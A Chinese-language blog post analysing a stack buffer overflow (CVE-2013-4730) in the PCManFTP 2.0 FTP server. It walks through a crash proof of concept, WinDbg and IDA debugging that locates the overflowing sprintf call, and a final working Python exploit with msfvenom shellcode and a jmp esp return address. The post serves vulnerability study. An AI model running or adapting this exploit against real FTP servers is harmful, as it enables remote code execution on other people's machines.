PCManFTP2.0漏洞分析

PCManFTP2.0 (CVE-2013-4730)漏洞分析

简介

pcManFTP是一款FTP服务器软件,它的2.0版本在接受命令时,
如果命令后的字符串过长会发生溢出,该溢出漏洞可导致执行任意机器指令。


漏洞分析环境

OS:                 Microsoft Windows 10 64bit 专业版
Software:           PCManFTP 2.0
winDbg:             6.12.2.633
IDAPro:             6.8 绿色版
python:             python 2.7

漏洞分析

参考了k0shl大佬的视频https://www.ichunqiu.com/qad/course/56129

编写了如下的python脚本用作poc,文件名:poc.py

#!/usr/bin/env python 
# coding=utf-8        
# fileName: poc.py
# usage: python poc.py ip port payloadNum

from pwn import *     
import sys            

RHOST = sys.argv[1]   
RPORT = int(sys.argv[2])
payload = cyclic(int(sys.argv[3])) #用于快速定位漏洞触发位置

r = remote(RHOST,RPORT)
print r.recv(1024)
r.send('USER '+payload+'\r\n')                                                      
print r.recv(1024)    
r.close()  

然后打开winDbg,这里使用了打开的方法调试PCManFTP2.exe,直接输入g命令执行。
然后执行如下命令运行poc.py

python poc.py 192.168.0.103 21 2048

这时由于产生了异常winDbg被断下

01

可以看到eip被覆盖为0x61616275,使用cyclic -l 0x61616275命令可得到从缓冲区到返回地址一共有2003个字节

02

下面进行分析看是哪个函数调用使缓冲区溢出了。执行kb命令可以发现,整个栈空间大都被畸形字符串覆盖了

03

这里无法通过堆栈回溯找到上层的调用。由于软件是网络软件,在接受客户端命令时可能会调用recv()的接受函数,这时打开ida加载pcmanftp搜索文本recv

04

找到了两处recv()的调用,重新打开winDbg并下这两处的断点,输入g继续执行

bp 4029d5
bp 40563e

执行poc.py,windbg断在4029d5处,在输入g继续执行发现eip又被覆盖为61616275,说明缓冲区被覆盖的位置在第一次触发断点之后,而且40563e位置的断点没有触发可以删除。再次打开winDbg下断点bp 4029d5,执行poc并断下后,查看函数参数

05

recv函数的原型是int recv(SOCKET s, char *buf, int len,int flags);传入的buf地址是0x19ecf8,最大长度是0x1000,然后单步步过这个函数,在查看buf里的字符串

06

发现buf已经被畸形字符串覆盖了,由于poc传入的是2048个字节,小于recv的最大接收字节所以畸形字符串全部存在buf里,继续单步步过直到触发异常,发现异常发生在402a26处的函数调用

07

那么缓冲区溢出就发生在该函数的内部,在ida中跳到该地址处静态分析。进入该函数内部,这里由于我的IDA产生了sp-analysis failed错误不能F5,所以就看汇编了。在403ee6位置调用了_sprintf函数,我们知道这个函数是一个危险的函数,如果不控制输入缓冲区大小就会造成溢出。

08

打开winDbg设置断点bp 403ee6,继续运行,当命中断点时由于不确定这一处是否被多次调用仍然要输入g继续执行,最后发现在第二次命中断点后引发了异常。然后重新调试下断点直到异常发生前一次的断点位置,开始分析。查看传入的参数

0:000> dd esp
0019e4a0  0019e4e4 004416d4 000007e1 00000009
0019e4b0  00000004 0000000b 00000013 00000368
0019e4c0  02528750 0019ecf8 00000004 0019ecf8
0019e4d0  000907e1 00040001 0013000b 02690008
0019e4e0  00000000 00000000 00000000 00000000
0019e4f0  00000000 00000000 00000000 00000000
0019e500  00000000 00000000 00000000 00000000
0019e510  00000000 00000000 00000000 00000000

被写入的地址是19e4e4,格式控制字符串为

0:000> dc 4416d4
004416d4  252f6425 64252f64 30255b20 253a6432  %d/%d/%d [%02d:%
004416e4  5d643230 30252820 20296435 203e7325  02d] (%05d) %s> 
004416f4  0a0d7325 00000000 20313234 6e6e6f43  %s......421 Conn
00441704  69746365 74206e6f 64656d69 74756f20  ection timed out
00441714  63202d20 69736f6c 0d2e676e 0000000a   - closing......
00441724  00002a5c 0000002a 77726325 2d2d7278  \*..*...%crwxr--
00441734  202d2d72 20302020 20707466 20202020  r--   0 ftp     
00441744  70746620 36492520 25207534 73252073   ftp %I64u %s %s

那么数一下格式控制符就可以知道最后一个%s对应的参数为19ecf8,而这里就是畸形字符串的地址(recv里的buf),显然当payload过长就有可能覆盖返回地址。

0:000> dc 19ecf8
0019ecf8  52455355 61616120 61616261 61616361  USER aaaabaaacaa
0019ed08  61616461 61616561 61616661 61616761  adaaaeaaafaaagaa
0019ed18  61616861 61616961 61616a61 61616b61  ahaaaiaaajaaakaa
0019ed28  61616c61 61616d61 61616e61 61616f61  alaaamaaanaaaoaa
0019ed38  61617061 61617161 61617261 61617361  apaaaqaaaraaasaa
0019ed48  61617461 61617561 61617661 61617761  ataaauaaavaaawaa
0019ed58  61617861 61617961 61617a61 61616262  axaaayaaazaabbaa
0019ed68  61616362 61616462 61616562 61616662  bcaabdaabeaabfaa

另外这个sprintf的调用函数在402a26处,这个上面已经分析过,然而这个函数调用不是标准的,它没有创建栈帧

00403e5e 90              nop
00403e5f 90              nop
;402a26函数代码片段
00403e60 a140354400      mov     eax,dword ptr [image00400000+0x43540 (00443540)];从402a26来
00403e65 81ec14080000    sub     esp,814h
00403e6b 85c0            test    eax,eax
00403e6d 56              push    esi
00403e6e 57              push    edi
00403e6f 8bf1            mov     esi,ecx
00403e71 750d            jne     image00400000+0x3e80 (00403e80)
00403e73 a148354400      mov     eax,dword ptr [image00400000+0x43548 (00443548)]
00403e78 85c0            test    eax,eax
00403e7a 0f8431010000    je      image00400000+0x3fb1 (00403fb1)
00403e80 8d442408        lea     eax,[esp+8]
00403e84 50              push    eax
00403e85 ff15a8524300    call    dword ptr [image00400000+0x352a8 (004352a8)]

所以堆栈回溯无法确定返回地址在栈中的位置,当然我们可以在402a26位置下断点记下位置,这里由于已经知道在payload偏移2003处覆盖返回地址(上面分析过)就不必了。我们可以单步步过直到返回。然后查看栈

0:000> dc esp
0019ece4  61616275 61616375 61616475 61616575  ubaaucaaudaaueaa
0019ecf4  61616675 61616775 61616875 61616975  ufaaugaauhaauiaa
0019ed04  61616a75 61616b75 61616c75 000a0d75  ujaaukaaulaau...
0019ed14  61616761 61616861 61616961 61616a61  agaaahaaaiaaajaa
0019ed24  61616b61 61616c61 61616d61 61616e61  akaaalaaamaaanaa
0019ed34  61616f61 61617061 61617161 61617261  aoaaapaaaqaaaraa
0019ed44  61617361 61617461 61617561 61617661  asaaataaauaaavaa
0019ed54  61617761 61617861 61617961 61617a61  awaaaxaaayaaazaa

可见返回地址已经被覆盖为0x61616275.这里要注意下,19ecf8处为recv的buf,而19e4e4为sprintf的写入地址,所以payload过长会覆盖recv的buf,在漏洞利用上得注意。最后,不止USER命令,其他命令在同样位置均存在溢出。


漏洞利用

由于我的win10 64bit默认开启的DEP防护是optin,所以就不绕过DEP了,好像pcman没有开启alsr也就不用绕过了,我直接获取本机的user32.dll中的jmp esp地址的。利用手法很简单,因为我还不会高明的利用,这里只是搞着玩!
开始:
payload在偏移2003处开始覆盖返回地址,这里直接覆盖返回地址为jmp esp,然后后面跟上一个跳转指令直接跳到19ecf8处的shellcode,又由于这里会被覆盖(上面有解释)那么可以向后偏移几个字节,比如可以直接跳转到19ecff处,跳转的偏移=0x19ecff-0x19ecec-4=0xf=15,4是跳转指令的长度,这里的返回指令是ret 4所以esp会额外加4。至于shellcode,我用msfvenom来生成一个弹出计算器的shellcode:msfvenom -p windows/exec CMD=calc.exe -e x86/shikata_ga_nai -i 2 -f python -b '\x00\x0a\x0d'

#!/usr/bin/env python
# coding=utf-8
# fileName: exp.py
# usage: python exp.py ip port

from pwn import *
import sys

buf =  ""
buf += "\xd9\xcf\xd9\x74\x24\xf4\x5a\x31\xc9\xb1\x38\xbd\x61"
buf += "\xa3\x34\xc0\x31\x6a\x17\x83\xc2\x04\x03\x0b\xb0\xd6"
buf += "\x35\x11\x71\xcf\xc2\x81\x8a\x4b\x9c\xea\x94\x9a\xbe"
buf += "\xdf\x91\x52\x71\x2e\x7d\x8d\xf1\xbf\x7d\xae\xaa\x9d"
buf += "\xbf\xa2\x9e\xc3\xb8\x19\x2d\xb1\x2f\xf4\x84\x36\x87"
buf += "\xf6\xba\x8b\x40\xb9\x4c\xd4\x22\x3d\x52\x9e\xd5\xc1"
buf += "\x90\xa3\x45\x37\xb3\x25\xfb\x73\xee\x25\xcf\x9b\x62"
buf += "\xe8\xcf\xf1\xb0\x68\xb2\x6a\xd4\x5f\x3a\xa7\xd4\x0f"
buf += "\x7f\x48\xac\x85\x37\xc1\x8e\x23\xac\x5b\xc1\xa2\x01"
buf += "\xbc\xd1\x12\x28\xad\xfe\x21\xdf\x26\x80\x5a\x27\x53"
buf += "\xc1\x3a\xcf\xe2\x6f\xad\x14\x7e\x86\x66\xef\x6e\x5a"
buf += "\x2c\x96\x87\x8a\xfb\xcc\x24\xf9\x7c\x22\xf3\x29\xfc"
buf += "\xde\x4a\x92\x8c\x50\x18\x01\x1c\x20\x78\x55\xb0\x66"
buf += "\xe1\x19\xed\x07\xa3\x8e\x83\x4c\x77\xe3\x91\x99\xab"
buf += "\xf2\x90\x4d\x2b\x4f\x81\xb6\x3c\x48\x04\x2f\x3b\x6a"
buf += "\x11\x57\xdb\xa8\xfa\x16\x72\x64\xac\xdf\xb2\x94\x21"
buf += "\x26\xc6\x9a\x9e\x48\xef\x37\x1a\x95\xca\xba\xe2\x6c"
buf += "\xb2\x1d\xd2\x8c\x05\xa0\x17\xd4\x43\x1a\x20\xfa\xef"
buf += "\x23\x2a\x2e\x0e\x81\x59\x97\xb8\x4d\x13\xf7\x33\x81"#247 bytes


RHOST = sys.argv[1]
RPORT = int(sys.argv[2])
payload = '\x90'*(2003-len(buf)) #填充为nop
payload += buf #shellcode
payload += p32(0x742d2109)+'\x90'*4 #jmp esp覆盖为返回地址
payload += '\xeb\x0f' #向后跳转15字节
r = remote(RHOST,RPORT)
r.send('USER '+payload+'\r\n')
r.close()

然后直接执行exp即可
09

猜你喜欢

转载自blog.csdn.net/kostart123/article/details/77837944
今日推荐